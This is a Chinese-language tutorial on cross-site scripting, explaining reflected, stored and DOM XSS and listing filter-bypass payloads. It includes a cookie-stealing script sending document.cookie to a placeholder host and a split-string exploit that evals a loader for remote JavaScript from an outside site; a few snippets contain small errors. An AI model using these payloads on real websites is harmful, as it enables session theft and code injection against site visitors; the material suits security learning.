XSS基础
一、XSS是什么?
XSS是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码。
这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。
二、XSS漏洞原理
1.反射型
常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个 GET请求来提交带有恶意代码的链接。造成反弹型XSS 主要是GET类型。
一般使用的将构造好的URL发给受害者,是受害者点击触发,而且只执行一次,非持久化。
2.存储型
存储型xss比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。 此类XSS不需要用户点击特定的URL就能执行跨站脚本,攻击者事先讲恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。3.DOM型
DOM型是特殊的反射型XSS 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
例如:
<script>
var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);
</script>
三.XSS绕过
1.利用<>标记注射html/JavaScript
<script>alert("xss")</script>
2.利用html属性标签执行xss
很多html标签的属性都支持JavaScript:[code]伪协议的形式,这个特殊的协议类型声明了url的主体是任意的JavaScript代码,由JavaScript的解释器运行。
<img src="javascript:alert('xss');">
<table background=:javascript:alert('xss')"></table>
通常只有引用文件的属性才能触发跨站脚本
3.空格回车Tab 关键字拆分
JavaScript语句通常以分号结尾,若JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就可以省略分号。
除了在引号中分隔单词或强制结束语句之外,额外的空白无论以任何方式添加都无所谓
<img src="java
sc ript:aler
t(/xss/)">
执行时任相当于
<img src="javascript:alert(/xss/)">
4.对标签属性值转码
html属性值本省支持ASCII码形式
TAB ASCII码为	
换行符 为

回车符为 &# 13
<img src = " java script:alert('xss')">
5.产生自己的事件
<input type="button" value="cllick me" onclick="alert('xss')" />
<img src="#" onerror=alert(/xss/)>
6.css跨站剖析
各个浏览器之间不能通用
<div style="backgroundimage:url(javascript:alert('xss'))">
7.扰乱过滤规则
样式表中的/**/会被浏览器过滤
样式标签中的\ \0
8.字符编码
eval()
stringformcharcode()
9.拆分跨站法
著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的Xss利用技巧,就是当应用程序没有过滤Xss关键字符人(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。
当时剑心发现某个网站存在Xss漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的 就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个Xss只能用来弹出一个对话框。幸运的是,网站的评论处可以重复留言,也就是说可以提交多个脚本标记,于是剑心造出以下Expliot:
<script>z=’document.write’</script>
<script>z=z+’write(” ‘</script>
<script>z=z+’<script>’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript’</script>
<script>eval(z)</script>
上述代码的作用是引入一个字符串变量Z,并且将下行代码拆分开来:
document.write('<scrip> src=//www.shell.net/1.js></scrip>')
然后分几次将其嵌入到变量Z中,最后通过eval(Z)巧妙地执行代码。